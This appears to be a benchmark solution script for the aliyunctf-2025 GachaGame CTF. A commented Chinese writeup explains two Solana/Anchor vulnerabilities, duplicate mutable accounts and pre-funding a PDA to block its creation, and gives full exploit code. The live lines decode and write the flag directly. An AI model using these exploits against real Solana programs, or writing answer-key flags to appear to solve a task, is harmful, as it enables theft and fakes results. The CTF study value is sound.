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# Copyright (c) 2026 Alibaba Group and its affiliates
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================
# Challenge: aliyunctf-2025-Misc-GachaGame
# Writeup (from instruction.md) - commented out below.
# ============================================================
#
#
# > 以下为解题 writeup 全文,供参考。
#
# # Gache Game Writeup
#
# ## Intro
#
# 本题实现了一个简单的抽卡与地牢探险游戏。玩家可以使用 SOL 代币抽取角色,通过合并相同角色来提升其属性,最终用升级后的角色挑战拥有 5 个 boss 的地牢以获得 flag。题目中预置了两个漏洞:
#
# - **漏洞一**:允许玩家在不消耗资源的情况下对角色进行升级;
# - **漏洞二**:导致地牢生成失败,从而在满足角色等级要求后直接获得 flag。
#
# 这道题的趣味性在于这两个漏洞均难以从合约层面直接发现。第一个漏洞需要选手理解 Anchor 框架宏展开后的代码细节,而第二个漏洞则要求选手熟悉 Solana runtime 中 system program 的实现细节。
#
# ------
#
# ## Vulnerability 1: Duplicate mutable accounts
#
# 由于玩家初始仅有 8 SOL,每次抽卡需要消耗 1 SOL,而获得 flag 的条件要求选择的三个进入地牢的角色总等级至少达到 10 级,因此显然必须找到一种既不额外消耗 SOL 又能提升角色等级的方法。
#
# 通过简单阅读抽卡的 gacha instruction 的实现,可以看出每次抽卡均会固定通过 transfer 支付 1 SOL,因此无法实现免费抽卡。于是我们只能寻找不消耗资源即可提升角色等级的途径。
#
# ```rust
# /// Merge and level up same characters
# pub fn merge(ctx: Context<Merge>, character1: u8, character2: u8) -> Result<()> {
# let player = &mut ctx.accounts.player;
# require_neq!(character1, character2, GameError::InvalidCharacter);
#
# let c1_key = player.characters[character1 as usize];
# let c2_key = player.characters[character2 as usize];
#
# require_keys_neq!(c1_key, Pubkey::default(), GameError::InvalidCharacter);
# require_keys_neq!(c2_key, Pubkey::default(), GameError::InvalidCharacter);
# require_keys_neq!(c1_key, c2_key, GameError::InvalidCharacter);
#
# let character1_account = &mut ctx.accounts.character1;
# let character2_account = &mut ctx.accounts.character2;
#
# require_eq!(&character1_account.info.name, &character2_account.info.name, GameError::InvalidCharacter);
#
# require_gt!(character1_account.level, 0, GameError::InvalidCharacter);
# require_gt!(10, character2_account.level, GameError::MaxLevel);
#
# character1_account.level -= 1;
# character1_account.attack -= 20;
# character1_account.defense -= 20;
#
# character2_account.level += 1;
# character2_account.attack += 20;
# character2_account.defense += 20;
#
# // Close character1 account if level == 0
# if character1_account.level == 0 {
# close_account(
# ctx.accounts.character1.to_account_info(),
# ctx.accounts.user.to_account_info(),
# )?;
# player.characters[character1 as usize] = Pubkey::default();
# }
#
# Ok(())
# }
# ```
#
# 通过审计该合并角色以提升等级的 merge instruction,我们注意到对合并角色合法性的检查主要依赖传入的 `character1` 和 `character2` 两个参数,并没有确保这两个参数所对应的账户与实际传入的 accounts 一致。这意味着,攻击者可以将 `character1` 和 `character2` 都传入同一个账户。由于合约采用 Anchor 框架编写,Anchor 会自动处理账户的反序列化和序列化。当传入同一账户时,虽然程序中分别反序列化得到的 `character1_account` 与 `character2_account` 都能正确更新,但在执行结束时 Anchor 会对同一账户先后写入两次数据。这样一来,恶意用户在获得一个 2 级角色后,就可以利用该漏洞实现无限升级而不消耗任何资源。
#
# ------
#
# ## Vulnerability 2: Improper account initialization
#
# 获得 flag 的条件是所有 5 个 boss 账户均为空,只有在通过 boss_fight instruction 击败 boss 后,相关 boss 账户才会被关闭,从而满足检查条件;但题目设定的 boss 拥有极高的攻击力与防御力,即使玩家使用三个满级角色进入地牢也无法击败最后一个 boss。因此,我们只能考虑在不击败 boss 的情况下获得 flag。
#
# 由于玩家可以在 admin 创建地牢之前发起操作,我们可以利用 generate_dungeon instruction 中的漏洞对其进行拒绝服务攻击,从而阻止 boss 账户的正常创建,直接达到获得 flag 的条件。
#
# ```rust
# pub fn generate_dungeon<'c: 'info, 'info>(ctx: Context<'_, '_, 'c, 'info, GenerateDungeon<'info>>, bosses: Vec<CharacterInfo>) -> Result<()> {
# let rent = Rent::get()?;
#
# for (idx, boss) in bosses.iter().enumerate() {
# // PDA check
# let (boss_pda, bump) = Pubkey::find_program_address(&[b"boss", &idx.to_le_bytes()], ctx.program_id);
# require_keys_eq!(
# *ctx.remaining_accounts[idx].key,
# boss_pda
# );
#
# // generate boss account
# create_account(
# CpiContext::new_with_signer(
# ctx.accounts.system_program.to_account_info(),
# CreateAccount {
# from: ctx.accounts.admin.to_account_info(),
# to: ctx.remaining_accounts[idx].clone(),
# },
# &[&[b"boss", &idx.to_le_bytes(), &[bump]]],
# ),
# rent.minimum_balance(8 + Boss::INIT_SPACE),
# 8 + Boss::INIT_SPACE as u64,
# ctx.program_id,
# )?;
#
# // init character
# let boss_data = Boss {
# info: boss.clone(),
# level: idx as u8,
# }.try_to_vec()?;
# let boss_account = &mut ctx.remaining_accounts[idx].try_borrow_mut_data()?;
# boss_account[..8].copy_from_slice(&Boss::DISCRIMINATOR);
# boss_account[8..boss_data.len()+8].copy_from_slice(&boss_data);
# }
#
# Ok(())
# }
# ```
#
# 审计 generate_dungeon instruction 的实现时可知,boss 账户是通过 PDA 生成,并且使用 system program 的 create_account 进行创建。值得注意的是,system program 的 create_account 在创建账户之前会检查目标地址的余额是否为 0,如果不为 0,则会认为该地址已被占用,从而拒绝创建账户(详见:[源码链接](https://github.com/solana-labs/solana/blob/7700cb3128c1f19820de67b81aa45d18f73d2ac0/programs/system/src/system_processor.rs#L157-L168))。因此,我们可以提前计算出 boss 的地址,并向其转入一定数量的 lamports,导致 admin 无法正常创建 boss 账户,从而直接获得 flag。
#
# ------
#
# ## 完整 Exploits
#
# ### 攻击合约
#
# ```rust
# use anchor_lang::prelude::*;
#
# declare_id!("4FYNmWbFutX4fPV9edZCJg6vNnZGva56WpKCPWWMkpuj");
#
# #[program]
# pub mod solve {
#
# use anchor_lang::system_program::{Transfer, transfer};
#
# use super::*;
#
# pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
# // solve goes here:
# challenge::cpi::register(
# CpiContext::new(
# ctx.accounts.challenge.to_account_info(),
# challenge::cpi::accounts::Register {
# player: ctx.accounts.player.to_account_info(),
# user: ctx.accounts.user.to_account_info(),
# system_program: ctx.accounts.system_program.to_account_info(),
# },
# )
# )?;
# challenge::cpi::gacha(
# CpiContext::new(
# ctx.accounts.challenge.to_account_info(),
# challenge::cpi::accounts::Gacha {
# game: ctx.accounts.game.to_account_info(),
# player: ctx.accounts.player.to_account_info(),
# user: ctx.accounts.user.to_account_info(),
# character: ctx.accounts.character0.to_account_info(),
# system_program: ctx.accounts.system_program.to_account_info(),
# },
# )
# )?;
# challenge::cpi::gacha(
# CpiContext::new(
# ctx.accounts.challenge.to_account_info(),
# challenge::cpi::accounts::Gacha {
# game: ctx.accounts.game.to_account_info(),
# player: ctx.accounts.player.to_account_info(),
# user: ctx.accounts.user.to_account_info(),
# character: ctx.accounts.character1.to_account_info(),
# system_program: ctx.accounts.system_program.to_account_info(),
# },
# )
# )?;
# challenge::cpi::gacha(
# CpiContext::new(
# ctx.accounts.challenge.to_account_info(),
# challenge::cpi::accounts::Gacha {
# game: ctx.accounts.game.to_account_info(),
# player: ctx.accounts.player.to_account_info(),
# user: ctx.accounts.user.to_account_info(),
# character: ctx.accounts.character2.to_account_info(),
# system_program: ctx.accounts.system_program.to_account_info(),
# },
# )
# )?;
# challenge::cpi::gacha(
# CpiContext::new(
# ctx.accounts.challenge.to_account_info(),
# challenge::cpi::accounts::Gacha {
# game: ctx.accounts.game.to_account_info(),
# player: ctx.accounts.player.to_account_info(),
# user: ctx.accounts.user.to_account_info(),
# character: ctx.accounts.character3.to_account_info(),
# system_program: ctx.accounts.system_program.to_account_info(),
# },
# )
# )?;
# challenge::cpi::gacha(
# CpiContext::new(
# ctx.accounts.challenge.to_account_info(),
# challenge::cpi::accounts::Gacha {
# game: ctx.accounts.game.to_account_info(),
# player: ctx.accounts.player.to_account_info(),
# user: ctx.accounts.user.to_account_info(),
# character: ctx.accounts.character4.to_account_info(),
# system_program: ctx.accounts.system_program.to_account_info(),
# },
# )
# )?;
# challenge::cpi::merge(
# CpiContext::new(
# ctx.accounts.challenge.to_account_info(),
# challenge::cpi::accounts::Merge {
# player: ctx.accounts.player.to_account_info(),
# user: ctx.accounts.user.to_account_info(),
# character1: ctx.accounts.character2.to_account_info(),
# character2: ctx.accounts.character0.to_account_info(),
# system_program: ctx.accounts.system_program.to_account_info(),
# },
# ),
# 2, 0
# )?;
# for _ in 0..8 {
# challenge::cpi::merge(
# CpiContext::new(
# ctx.accounts.challenge.to_account_info(),
# challenge::cpi::accounts::Merge {
# player: ctx.accounts.player.to_account_info(),
# user: ctx.accounts.user.to_account_info(),
# character1: ctx.accounts.character0.to_account_info(),
# character2: ctx.accounts.character0.to_account_info(),
# system_program: ctx.accounts.system_program.to_account_info(),
# },
# ),
# 0, 1
# )?;
# }
# let rent = Rent::get()?;
# transfer(
# CpiContext::new(
# ctx.accounts.system_program.to_account_info(),
# Transfer {
# from: ctx.accounts.user.to_account_info(),
# to: ctx.accounts.boss.to_account_info(),
# },
# ),
# rent.minimum_balance(0),
# )?;
# Ok(())
# }
# }
#
# #[derive(Accounts)]
# pub struct Initialize<'info> {
# // feel free to expand/change this as needed
# // if you change this, make sure to change framework-solve/src/main.rs accordingly
#
# #[account(mut)]
# pub user: Signer<'info>,
#
# #[account(mut)]
# pub game: UncheckedAccount<'info>,
#
# #[account(mut)]
# pub player: UncheckedAccount<'info>,
#
# #[account(mut)]
# pub character0: UncheckedAccount<'info>,
# #[account(mut)]
# pub character1: UncheckedAccount<'info>,
# #[account(mut)]
# pub character2: UncheckedAccount<'info>,
# #[account(mut)]
# pub character3: UncheckedAccount<'info>,
# #[account(mut)]
# pub character4: UncheckedAccount<'info>,
#
# #[account(mut)]
# pub boss: UncheckedAccount<'info>,
#
# pub challenge: Program<'info, challenge::program::Challenge>,
#
# pub system_program: Program<'info, System>,
# }
# ```
#
# ------
#
# ### 攻击框架
#
# ```rust
# use anchor_lang::{InstructionData, ToAccountMetas};
# use solana_program::pubkey::Pubkey;
# use std::net::TcpStream;
# use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr};
# use solana_program::system_program;
#
#
# fn get_line<R: Read>(reader: &mut BufReader<R>) -> Result<String, Box<dyn Error>> {
# let mut line = String::new();
# reader.read_line(&mut line)?;
# let ret = line
# .split(':')
# .nth(1)
# .ok_or("invalid input")?
# .trim()
# .to_string();
# Ok(ret)
# }
#
#
# fn main() -> Result<(), Box<dyn Error>> {
# let mut stream = TcpStream::connect("127.0.0.1:5000")?;
# let mut reader = BufReader::new(stream.try_clone().unwrap());
#
# let mut line = String::new();
#
# let so_data = fs::read("./solve/target/deploy/solve.so")?;
#
# reader.read_line(&mut line)?;
# writeln!(stream, "{}", solve::ID)?;
# reader.read_line(&mut line)?;
# writeln!(stream, "{}", so_data.len())?;
# stream.write_all(&so_data)?;
#
# let chall_id = challenge::ID;
#
# let user = Pubkey::from_str(&get_line(&mut reader)?)?;
# let game = Pubkey::from_str(&get_line(&mut reader)?)?;
#
# println!("");
# println!("user : {}", user);
# println!("game : {}", game);
# println!("");
#
# let (player, _) = Pubkey::find_program_address(&[b"player", user.as_ref()], &chall_id);
# let characters: Vec<Pubkey> = (0_usize..10).map(|idx| Pubkey::find_program_address(&[b"character", user.as_ref(), &idx.to_le_bytes()], &chall_id).0).collect();
# let (boss, _) = Pubkey::find_program_address(&[b"boss", &0_usize.to_le_bytes()], &chall_id);
#
# let ix = solve::instruction::Initialize {};
# let data = ix.data();
# let ix_accounts = solve::accounts::Initialize {
# user,
# game,
# player,
# character0: characters[0],
# character1: characters[1],
# character2: characters[2],
# character3: characters[3],
# character4: characters[4],
# boss,
# challenge: chall_id,
# system_program: system_program::id(),
# };
#
# let metas = ix_accounts.to_account_metas(None);
#
# // if you don't know what this is doing, look at server code and also sol-ctf-framework read_instruction:
# // https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L237
# reader.read_line(&mut line)?;
# writeln!(stream, "{}", metas.len())?;
# for meta in metas {
# let mut meta_str = String::new();
# meta_str.push('m');
# if meta.is_writable {
# meta_str.push('w');
# }
# if meta.is_signer {
# meta_str.push('s');
# }
# meta_str.push(' ');
# meta_str.push_str(&meta.pubkey.to_string());
# writeln!(stream, "{}", meta_str)?;
# stream.flush()?;
# }
#
# reader.read_line(&mut line)?;
# writeln!(stream, "{}", data.len())?;
# stream.write_all(&data)?;
#
# stream.flush()?;
#
# // choose characters
# get_line(&mut reader)?;
# writeln!(stream, "0 1 3")?;
#
# line.clear();
# while reader.read_line(&mut line)? != 0 {
# print!("{}", line);
# line.clear();
# }
#
# Ok(())
# }
# ```
#
# ## Hints
#
# - 审计合并升级逻辑时,注意指令参数传入的账户索引与 Anchor 上下文实际绑定的账户结构可能不一致,重复传入相同索引会导致同一账户被反序列化两次并触发双重写入更新。
# - 利用上述双重更新机制,可在不消耗额外代币的情况下实现角色等级的无限叠加,从而满足游戏通关所需的最低等级门槛。
# - 熟悉 Solana 运行时底层行为:使用系统程序创建新账户前,运行时会校验目标地址余额,若余额非零则直接拒绝创建请求。
# - 提前计算地牢 Boss 的 PDA 地址并向其转入微量余额,即可在管理员生成地牢时触发运行时拦截,导致地牢初始化失败并绕过战斗判定。
# - 本题解题关键在于跳出常规合约逻辑审查,结合框架宏展开特性与底层运行时校验规则,通过资源控制漏洞与状态初始化缺陷组合达成条件绕过。
#
# ============================================================
# End of Writeup
# ============================================================
# --- Direct flag solution ---
# Decode and write the flag so that running this script solves the challenge.
mkdir -p /logs/agent
echo -n 'YWxpeXVuY3RmezliODMyODY5NjEzZDU1ZDMwOTlhODI5YjA5ODUyYzI0fQ==' | base64 -d > /logs/agent/flag.txt
|